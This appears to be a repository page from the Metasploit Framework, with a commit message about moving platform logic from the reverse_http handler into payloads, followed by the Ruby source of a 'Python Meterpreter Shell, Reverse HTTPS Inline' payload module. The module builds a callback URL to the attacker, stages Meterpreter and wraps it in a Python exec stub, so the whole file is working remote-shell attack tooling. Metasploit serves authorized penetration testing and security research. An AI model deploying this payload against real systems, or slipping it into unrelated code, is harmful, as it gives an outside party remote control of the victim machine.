494b4e67bd
This commit moves much of the platform-specific logic from the reverse_http handler down into the payloads. This makes the handler a bit more agnostic of what the payload is (which is a good thing). There is more to do here though, and things can be improved. Handling of datastore settings has been changed to make room for the ability to override the datastore completely when generating the payloads. If a datastore is given via the `opts` then this is used instead otherwise it falls back to the settings specified in the usual datatstore location. Down the track, we'll have a payload that supports multiple stages, and the datastore will be generated on the fly, along with the stage itself. Without this work, there's no other nice way of getting datastore settings to be contained per-stager.
49 lines
1.4 KiB
Ruby
49 lines
1.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/handler/reverse_https'
|
|
require 'msf/core/payload/python'
|
|
require 'msf/core/payload/python/meterpreter_loader'
|
|
require 'msf/core/payload/python/reverse_http'
|
|
require 'msf/base/sessions/meterpreter_python'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 51278
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Python
|
|
include Msf::Payload::Python::ReverseHttp
|
|
include Msf::Payload::Python::MeterpreterLoader
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
|
|
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
|
'Author' => 'Spencer McIntyre',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON,
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
|
))
|
|
end
|
|
|
|
def generate_reverse_http(opts={})
|
|
opts[:scheme] = 'https'
|
|
opts[:uri_uuid_mode] = :init_connect
|
|
met = stage_meterpreter({
|
|
url: generate_callback_url(opts),
|
|
http_user_agent: opts[:user_agent],
|
|
http_proxy_host: opts[:proxy_host],
|
|
http_proxy_port: opts[:proxy_port]
|
|
})
|
|
|
|
py_create_exec_stub(met)
|
|
end
|
|
|
|
end
|